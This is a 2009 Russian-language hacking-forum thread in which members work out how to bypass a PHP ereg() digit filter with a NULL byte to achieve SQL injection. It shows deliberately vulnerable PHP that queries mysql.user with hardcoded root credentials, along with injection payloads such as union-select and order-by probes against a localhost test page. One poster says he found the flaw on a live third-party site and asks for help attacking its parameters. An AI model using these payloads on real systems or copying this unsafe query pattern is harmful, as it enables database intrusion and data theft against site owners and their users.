HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.06.2009, 21:16
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Grey, спасибо за объяснения, не ожидал такой помощи. Я тестил у себя на локале, но т.к. это локал, ссыль выложил на другой форум.

PS: Сорсы этого "фильтра" - http://forum.rockmanpm.com/Sources/Subs.php~

Последний раз редактировалось mailbrush; 13.06.2009 в 21:18..
 
Ответить с цитированием

  #2  
Старый 13.06.2009, 20:49
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

PHP код:
 if(ereg("^[0-9]+$",$ar["lid"] = $_GET['lid']))
  {
    
$query mysql_query("SELECT * FROM main WHERE lid = '$lid'"); 
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
 
Ответить с цитированием

  #3  
Старый 13.06.2009, 21:41
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Цитата:
Сообщение от Велемир  
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
Как именно не работает ? Как ты проверяешь ? меджик_квотес отключены ?

lid=2%00'+union+select+1--+ - должно работать

Последний раз редактировалось ElteRUS; 13.06.2009 в 21:51..
 
Ответить с цитированием

  #4  
Старый 13.06.2009, 21:48
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Велемир, пример того как ты обходил покажи
 
Ответить с цитированием

  #5  
Старый 13.06.2009, 21:54
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Ээ...пасип,но уже не имеет смысла.Там кавычки включены оказывается.

Решил чутка поменять на локалхосте:

PHP код:

$c 
mysql_connect("localhost","root","vertrigo");

$user $_GET['user'];


if(
ereg("^[0-9]+$",$user)) {

echo 
"Ты хакер,обошедший фильтрацию!";

$q mysql_query("Select * from mysql.user where User='$user'");

$r mysql_fetch_array($q);

print_r($r);

}


else {

echo 
"Хакер!";



Результат только на кавычку катит,а запрос не провести.Пробовал ставить 1%00order+by+1 и т.д.

Вообще,нашёл эту хрень на сайте,висящем на двиге,похожий на вордпресс. Есть переменные: lid,o,c,start,actions.Может,кто скажет точнее ?

Последний раз редактировалось Велемир; 13.06.2009 в 22:07..
 
Ответить с цитированием

  #6  
Старый 13.06.2009, 22:08
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

надо закрывать кавычку в запросе, как тебе ElteRUS написал
1%00'+union+select+1,2,n/*
 
Ответить с цитированием

  #7  
Старый 13.06.2009, 22:14
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Бесполезно:

http://localhost/ttt.php?user=1%00'+union+select+version()/*

Выводит тупо ошибку.На ордер ему пофиг.Запрос не провести
 
Ответить с цитированием

  #8  
Старый 13.06.2009, 22:24
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Валемир, а ты попробуй так:
http://localhost/ttt.php?user=1%00'+order+by+1--+

Будет ошибка:
Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result


А потом так:
http://localhost/ttt.php?user=1%00'+order+by+1000--+

Будет ошибка:
Warning: mysql_result(): supplied argument is not a valid MySQL result


Я прав или нет ?)
 
Ответить с цитированием

  #9  
Старый 13.06.2009, 22:29
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

какая ошибка?
 
Ответить с цитированием

  #10  
Старый 13.06.2009, 22:29
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Чёрт побери,да ты прав!Только я заменил мускул резалт на феч аррай.Почему твой вариант работает?!? Ни --,ни /*,ни %3c не работает,а твой работает.Почему ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ